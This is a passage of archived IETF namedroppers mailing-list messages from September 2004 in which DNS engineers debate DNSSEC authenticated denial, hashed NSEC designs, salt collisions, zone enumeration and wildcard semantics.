names in the zone, empty leaves can exist iff the '*' does not own any RRSets. Given example.org, @ SOA ... NS ... _.* NULL {or any other type} any name X.example.org with $X != '*' will exist (not result in an authoritative name error if queried for) but have no RRs associated with it. -Peter PS: Wouldn't that stop me from "enumerating" enum zones ?-) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 06:01:14 +0700 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 01:10:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> In-Reply-To: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Date: Sat, 11 Sep 2004 00:14:08 +0200 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Message-ID: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> | OK, but then for the sake of clarity the draft should mention this case | explicitly, e.g.: Perhaps, I'm not sure it is really important enough to anything to matter. Who really cares after all? The resolver can't (normally) tell (either whether the name is terminal, or unless it was an ANY query, whether it is actually empty). For DNSSEC purposes (with me being no expert on that stuff) as I understand it, the proofs need to involve the '*' record explicitly, as there's no way to actually sign the fabricated RR returned (or not without on-line keys) - so this is already an odd special case. | Empty Terminals But if this is to be included ... | Although there is a NULL RR type specified in RFC 1035, | its purpose is left open. That sentence doesn't belong, not that it is wrong, it is simply irrelevant - you might just as well mention that the HINFO RR type exists (or any other arbitrary one). The NULL RR is an RR, just like any other (however undefined its purpose is...) kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 11 Sep 2004 06:24:19 +0700 Lines: 82 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 01:34:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> Precedence: bulk Date: Fri, 10 Sep 2004 22:39:33 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> | [ I hope Olaf's going to forgive me on this one, but I think we are | now talking about something quite different from the circular | discussion on whether or not non-enumerability is needed and | what the requirements are so I have changed the subject appropriately ] Yes, I have been avoiding that discussion, I believe my views are already well known (and that I haven't been wasting space restating them doesn't mean they've changed). | I'm lost. Let me do some CS/Math and then see if I have applied it | without missing the point: | | If you have a set of labels X, and a set of labels Y where | Y(i) = HASH ( X(i) , S, H) | | i.e. a hash of X(i) using salt S (the same for all values of i) and H bit | hash, then, providing n(X) << 2^H, Well, you've already lost the "any zone" requirement with that assumption, but it gets worse than that. | it's trivially easy (and computationally | efficient) to find a value S such that there are NO values i, j such that | Y(i) = X(j) - I'll call that finding a non-colliding salt value S such that | there are no collisions between the range and domain of the hash function. I think you're relying upon probabilities, which doesn't work in a situation like this. | One possible mechanism is simply to iterate through values of S chosen | according to any cyclic algorithm with a cycle length >> n(X) (let's say of | length 2^H or similar) - let's call the values S(1), S(2), S(3) etc. - you | can show that you will find a first non-colliding value S(c) in a | computationally small number of iterations (the expected number of | iterations c is in essence 1, assuming n(X)<<2^H). All I need to do, is pick a name, any name, N, that exists in my zone, and then for each potential S calculate HASH(N, S[i], H) and add that name to my zone file. Now for name N, there's no possible S which doesn't generate a conflict. How practical this is depends upon how big the range of possible salts is, but practical or not, it is clearly possible. The number of bits in the hash function is immaterial here (though as it gets bigger, the number of possible salts must get less, as the total label length is limited). | For the record, for the reasons Ben mentioned a good while ago, I am not | sure why collisions are actually a problem at all This one is a different issue, and isn't one I was addressing (just the theory that it is possible to go about stealing names from the namespace without ever doing any harm). The usual problems (if the RRtype of the clashing name is NS or CNAME) might not apply to NSEC because of the weird rules that (I think) apply to this new record type (or then again they may, I'm no expert on the DNSSEC RR types). But I'd want to know just how they effect wildcards. If I have a * IN MX 10 foobar. record in my zone file (for the example. zone), I expect that anyone looking up any-random-hash.example. is going to get the foobar MX record, just like anyone looking up any other name that doesn't exist will get. If the NSEC records existing mean that the the wildcard doesn't get found, then things are badly broken. To fix that I'd have to add explicit MX records for every hash label (and a *.hash-label as well) which would alter the set of NSEC records that has to exist (clearly adding more), which means more MX records required, and ... (so it isn't really fixable). That is, unless NSEC records are to be treated as "special" for wildcard purposes. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 11 Sep 2004 10:12:04 +1000 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <5041.1094858659@munnari.OZ.AU> Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 02:18:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-reply-to: Your message of "Sat, 11 Sep 2004 06:24:19 +0700." <5041.1094858659@munnari.OZ.AU> Precedence: bulk > But I'd want to know just how they effect wildcards. If I have a > * IN MX 10 foobar. > record in my zone file (for the example. zone), I expect that anyone looking > up any-random-hash.example. is going to get the foobar MX record, just like > anyone looking up any other name that doesn't exist will get. If the > NSEC records existing mean that the the wildcard doesn't get found, then > things are badly broken. To fix that I'd have to add explicit MX records > for every hash label (and a *.hash-label as well) which would alter the > set of NSEC records that has to exist (clearly adding more), which means more > > MX records required, and ... (so it isn't really fixable). That is, unless > NSEC records are to be treated as "special" for wildcard purposes. Please don't go there as finding the answer to that is not as simple as just inoring the NSEC records. It would require examining the tree rooted at the hashname to see if there was anything valid beneath it. > kre > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 11 Sep 2004 08:40:48 +0100 Lines: 106 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 09:54:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <5041.1094858659@munnari.OZ.AU> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Robert, I think we have a seriously different understanding of how the hash things work --On 11 September 2004 06:24 +0700 Robert Elz <kre@munnari.OZ.AU> wrote: > | I'm lost. Let me do some CS/Math and then see if I have applied it > | without missing the point: > | > | If you have a set of labels X, and a set of labels Y where > | Y(i) = HASH ( X(i) , S, H) > | > | i.e. a hash of X(i) using salt S (the same for all values of i) and H > bit | hash, then, providing n(X) << 2^H, > > Well, you've already lost the "any zone" requirement with that > assumption, but it gets worse than that. I am saying for ANY given set X(i) (i.e. for any zone) you can (trivially) find a value S that produces a non-collinding Y(i). Yes, this non colliding S may be different depending on X(i) - i.e. depending on the zone. That just means there is a potential requirement for a different salt per zone if one wants to ensure non-colliding. > | it's trivially easy (and computationally > | efficient) to find a value S such that there are NO values i, j such > that | Y(i) = X(j) - I'll call that finding a non-colliding salt value > S such that | there are no collisions between the range and domain of > the hash function. > > I think you're relying upon probabilities, which doesn't work in a > situation like this. It does work. You just iterate. You can show that there is a binomial process and the expected number of iterations is 1 ------------ 2 n(X) ( 1 - ----- ) 2^H IE if n(X)< 2^(H-1) the expected number of iterations is less than two. Probabilities *do* work here as mathematically there is no finite chance of a loop (the Bloom filter stuff is clearly close enough here). Plenty of algorithms work this way. Remember this is done pre-signing - finding a non-colliding salt is far less computationally intensive than signing. It's only O(n) - (I wrote the case of that O correctly). > | One possible mechanism is simply to iterate through values of S chosen > | according to any cyclic algorithm with a cycle length >> n(X) (let's > say of | length 2^H or similar) - let's call the values S(1), S(2), > S(3) etc. - you | can show that you will find a first non-colliding > value S(c) in a | computationally small number of iterations (the > expected number of | iterations c is in essence 1, assuming n(X)<<2^H). > > All I need to do, is pick a name, any name, N, that exists in my zone, > and then for each potential S calculate HASH(N, S[i], H) and add that > name to my zone file. Now for name N, there's no possible S which > doesn't generate a conflict. > > How practical this is depends upon how big the range of possible salts is, > but practical or not, it is clearly possible. The number of bits in the > hash function is immaterial here (though as it gets bigger, the number of > possible salts must get less, as the total label length is limited). The number of potential S values is the size of the hash space. So whilst you are technically correct, all you are showing is that the assumption fails where n(X) is *not* considerably smaller than the zone. I think you can be even more critical than that, as from some brief calcs I did half asleep in bed last night, I think things start to go wrong when the (n(X) ^2) > 2^H (i.e. where the number of names is greater than the square root of half the size of the hash space). But we already know we need a large hash space if the thing is going to be resistant to attack. For a 32 bit hash, we can support zones of size 2^16. For a 64 bit hash, we can support zones of size 2^32. For a 128 bit hash, zones of size 2^64. For a 160 bit hash, zones of size 2^80. Assuming 5 bits per character (yes I know labels are really 8 bit but I am assuming caches on the way might incorrectly not be 8 bit clean), that's 4 characters, 13 characters, 26 characters and 32 characters respectively in the hash symbol. Given the choice of available hash lengths, I don't think we are losing much functionality by insisting the hash bits are at least 2 x log2(zonesize). A much MORE significant collision problem it seems to me is where two labels X(i), X(j) for which i!=j have the same hash value (i.e. Y(i)=Y(j) ). That too is going to call for another salt. I think that's going to be a greater driver to longer hash labels but I haven't yet worked the maths behind it out. I think it's probably the same. -- Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: dictionary attack on nameservers Date: Sat, 11 Sep 2004 14:25:41 +0200 Lines: 61 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 14:42:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 54 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:le+yylTkCg3rzgSNef/fOIlHw58= Precedence: bulk Robert Elz <kre@munnari.OZ.AU> writes: > Date: Fri, 10 Sep 2004 20:50:58 +0200 > From: Simon Josefsson <jas@extundo.com> > Message-ID: <ilusm9qarfx.fsf@latte.josefsson.org> > > | There are at least two solutions to that problem. > > no, there are no solutions for this problem in any proposal that requires > adding new names (attempts to steal some of the namespace) for any existing > RR type (the _tcp stuff in SRV records is annoying, but not fatal, as they're > relevant only to SRV lookups and don't prevent _tcp being used as a label > for any other RR types). Here's an idea to add another level of indirection to handle this: jim.foo. IN A alex.jim.foo. IN CNAME ... foo. IN NSECBISZONE _nix alex._nix.foo. IN NSECbis .... In other words, the part of the namespace that is stolen for NSECbis records can be chosen to avoid existing names. I'd agree with anyone who thinks this is complex. I don't believe stealing a part of the namespace for technical reasons, much like SRV does, is a problem. > | The first is to use salting to make sure there are no collisions. > > That doesn't work, you just collide with a different name. For any > name that you propose adding, I simply add the same name with whatever > RR types cause your proposal to have problems. Then I'll change the salt, to get another non-colliding name. I agree with Alex Bligh's discussion. Remember, you don't get to add new names after NSECbis records have been added. The NSECbis tool have the entire zone content, and can chose salt values to make sure there are no collisions. However, I have not been convinced that salting is necessary in the first place, since I don't consider colliding names a realistic problem. Same for offline dictionary attacks against the hash function. > | The second one is to place the NSECbis record in a separate name > | space. > > In this case the "separate name space" is the name that is the problem. I want to understand why. Please explain. What is the problem? Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Jacco Tunnissen <jacco@dnssec.net> Subject: Overview of DNSSEC Pilots and Projects Date: Mon, 13 Sep 2004 21:56:01 +0200 Lines: 44 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:14:21 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD Precedence: bulk Below is a current overview of the major DNSSEC projects, DNSSEC working groups, DNSSEC testbeds/pilots, and DNSSEC related projects. Kindly let me know if I missed anything. http://www.dnssec.net/projects.php DNSSEC PROJECTS and DNSSEC WORKING GROUPS IETF DNSEXT Working Group (DNS Security Extensions) - focus on rewriting DNSSEC standards IETF DNSOP Working Group (DNS Operations) - focus on developing guidelines for the operation of DNS servers RIPE NCC, DISI Working Group - Deployment of Internet Security Infrastructures, focus on DNSSEC NLNet Labs - DNSSEC Research & Development in the Netherlands DNSSEC Deployment Working Group - Community-based project, focus on implementation and deployment IDSA (Infrastructure DNSSEC et Applications) - DNSSEC Project in France Network Associates (NAI Labs) - Internet Infrastructure Protection (IIP) Project National Institute of Standards and Technology (NIST) - DNSSEC Project DNSSEC TESTBEDS and DNSSEC PILOTS NLnet Labs SECREG Testbed - DNSSEC testbed in the Netherlands (.nl) (no longer active) NIC-SE DNSSEC Testbed - DNSSEC Testbed in Sweden (.se) Root Server Testbed Network - coordinated, persistent facility to evaluate major changes to the DNS Verisign .net DNSSEC Pilot - provides an "off-path" signed image of the .net TLD zone (.net) Verisign Opt-In DNSSEC Pilot - DNSSEC Opt-In testbed (deprecated) Verisign DLV Registry Pilot - DNSSEC Lookaside Validation (DLV) testbed (.com/.net) DNSSEC RELATED PROJECTS CADDISC Project - Combining LDAP and DNSsec to distribute keys securely LADON - Distributed authentication for SSH using DNSSEC Openswan - IPsec for Linux, with support for DNSSEC Jacco Tunnissen -- DNSSEC - http://www.dnssec.net/ Securing the Domain Name System -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: was Re: dictionary attack on nameservers Date: Mon, 13 Sep 2004 16:28:34 -0400 Lines: 20 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Simon Josefsson <jas@extundo.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:58:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <11585.1094849973@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 3:59 +0700 9/11/04, Robert Elz wrote: >Perhaps, but if people keep not understanding, there's little choice but >to keep on repeating. Eventually the message might get through. Or maybe trying to explain in a different manner. Perhaps one's words are being read within the same context that they are being written. ;) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Mon, 13 Sep 2004 16:38:55 -0400 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> <27772.1094857274@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:58:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <27772.1094857274@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 6:01 +0700 9/11/04, Robert Elz wrote: >actually empty). For DNSSEC purposes (with me being no expert on that stuff) >as I understand it, the proofs need to involve the '*' record explicitly, >as there's no way to actually sign the fabricated RR returned (or not >without on-line keys) - so this is already an odd special case. On the first cut, authenticated denial ("DNSSEC purposes") doesn't require proof that there is no "*"/"wild card"/"source of synthesis," all that is needed is to prove that there are no matching RRsets to the query. The choice is to 1) customize the reply *message* to the query or 2) prove by showing that at each step of the 4.3.2 algorithm that name matches fail. Of course 1 means on-line keys, which is something the design of DNSSEC has tried hard to avoid. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Mon, 13 Sep 2004 16:47:27 -0400 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> <FFB1F86C9CCF64DCF85A9C17@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:59:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <FFB1F86C9CCF64DCF85A9C17@[192.168.100.25]> To: Alex Bligh <alex@alex.org.uk> Precedence: bulk I'm lost on the issue of "avoiding" collisions. I've been trying not to jump into this as we haven't set up the requirements (in a draft yet) for the problem, but: 1) What if authenticated denial was different for sets at an existing name than for name errors? I mean, in RFC 1034 returns "no error" if a name exists but data doesn't, and a "name error" if the name doesn't exist. 2) So, what if we take care of "no error, no data" by just using NSEC's like: owner NSEC owner <types it has> 3) For name errors, just return: H(owner1) NXD H(owner2) for any H(owner1) < H(query) < H (owner2)? The implications - the zone data no longer needs to be sorted (no lexical ordering of names). The table of hash records need not sully the data space, so who cares about collisions? Okay - maybe H(missing name) = H (owner3)...like I've said, I have been trying not to think about this until the time has come for the discussion on solutions. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Mon, 13 Sep 2004 16:26:40 -0400 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> <20843.1094846936@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 22:59:30 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <20843.1094846936@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 3:08 +0700 9/11/04, Robert Elz wrote: > | The first thing to realize is that by all definitions, subdomains of > | wild card domain names are legal. > >This makes no sense, sub-domains of a domain which is *.xxx are legal, >but if it (*.xxx) is being used as a wildcard, it ends any query, whether >or not the '*' might have sub-domains is irrelevant. I don't see a difference between what you are saying and what I had said. > > | The concept of "closest enclosing" existing names is important to keep in > | mind. > >Yes, though I'm not real sure I like that term - but I'm not sure what >would be a better one. If you imagine the name space as a two-dimensional field (like the Venn diagrams I learned sets from), domains would be nested. That's where the notion of "closest enclosure" comes from. It's not so clear if you think of the stick and node tree diagram. > | It is also important to realize that a wild card domain name can > | be a closest encloser of a query name. > >Not a wildcard domain, a '*' label. I think there's an obvious terminology problem. A wild card domain has become too overloaded I think, that's why I've floated "source of synthesis" or "synthesis source." The closest encloser is the smallest domain surrounding the query (search) name. The source of synthesis would be the domain inside the closest encloser that is identified by the label '*' - no matter whether there are other names in the "source of synthesis'" domain. > | and the query name is a.*.example., then the closest > | enclosing domain name is *.example. > >"... which is not a wildcard, but simply a domain". Given a query (name, type, class), there is a closest encloser and there may be a source of synthesis. The two can never be the same. But, what is a closest encloser for one query may be the source of synthesis for another query. (E.g., *.example.com could be the closest encloser for foo.*.example.com and it *could* be the source of synthesis for foo.example.com.) > | Recall that the closest encloser itself cannot be the wild card. > >This is a direct contradiction of what was said earlier ... I don't see that. "the wild card" = "source of synthesis" is what I meant. Perhaps if the interpretation is "wild card" means "*.something" yea. That's why I think we need to update the terminology. > It is also important to realize that a wild card domain name can > be a closest encloser of a query name. I thought that was what I was saying in Appendix A. >But if the lookup is algorithm is clear, none of this should be needed. >Just make it plain that it is possible for any string to be a domain >name label, including '*', and that those strings can match exactly against >the same string in the QNAME. I'm furrowing my brow now because I thought it was clear that the algorithm wasn't clear. ;) Implementations have diverged, as evidence... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 04:30:38 +0700 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd6bb479d3e3@[192.136.136.102]> <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> <27772.1094857274@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 23:40:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040bbd6bb479d3e3@[192.136.136.102]> Precedence: bulk Date: Mon, 13 Sep 2004 16:38:55 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a0602040bbd6bb479d3e3@[192.136.136.102]> | >as I understand it, the proofs need to involve the '*' record explicitly, | | On the first cut, authenticated denial ("DNSSEC purposes") doesn't | require proof that there is no "*"/"wild card"/"source of synthesis," I'll reply to other messages later, but in the above, I wasn't talking about denial at all, but proof of legitimacy of a RR generated (synthesised) from a wildcard RR. That is, I lookup foobar.example. MX, which doesn't exist, but example. contains *.example. MX 10 whatever. That means the answer I get is foobar.example. MX 10 whatever. That RR needs to be authenticated, but there cannot be a SIG for it (or not without on-line keys). Without having attempted to find the actual answer to this, I'd assume that what is required is the *.example. record itself, its SIG, plus proof that foobar.example. doesn't exist - all being used as positive proof that the MX record in the answer section is indeed what it is supposed to be. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 07:45:04 +1000 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd6bafedc34f@[192.136.136.102]> Cc: Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 13 23:52:24 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Mon, 13 Sep 2004 16:26:40 -0400." <a06020409bd6bafedc34f@[192.136.136.102]> Precedence: bulk > >Yes, though I'm not real sure I like that term - but I'm not sure what > >would be a better one. > > If you imagine the name space as a two-dimensional field (like the > Venn diagrams I learned sets from), domains would be nested. That's > where the notion of "closest enclosure" comes from. It's not so > clear if you think of the stick and node tree diagram. deepest match / longest match -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 08:11:19 +1000 Lines: 57 Sender: owner-namedroppers@ops.ietf.org References: <28627.1095111038@munnari.OZ.AU> Cc: Edward Lewis <edlewis@arin.net>, Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 00:18:56 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-reply-to: Your message of "Tue, 14 Sep 2004 04:30:38 +0700." <28627.1095111038@munnari.OZ.AU> Precedence: bulk > Date: Mon, 13 Sep 2004 16:38:55 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a0602040bbd6bb479d3e3@[192.136.136.102]> > > | >as I understand it, the proofs need to involve the '*' record explicitly > , > | > | On the first cut, authenticated denial ("DNSSEC purposes") doesn't > | require proof that there is no "*"/"wild card"/"source of synthesis," > > I'll reply to other messages later, but in the above, I wasn't talking > about denial at all, but proof of legitimacy of a RR generated (synthesised) > from a wildcard RR. > > That is, I lookup foobar.example. MX, which doesn't exist, but example. > contains *.example. MX 10 whatever. That means the answer I get is > foobar.example. MX 10 whatever. That RR needs to be authenticated, but > there cannot be a SIG for it (or not without on-line keys). > > Without having attempted to find the actual answer to this, I'd assume that > what is required is the *.example. record itself, its SIG, plus proof that > foobar.example. doesn't exist - all being used as positive proof that the > MX record in the answer section is indeed what it is supposed to be. > > kre If * has data of the requested type then the RRSIG(type) for * + 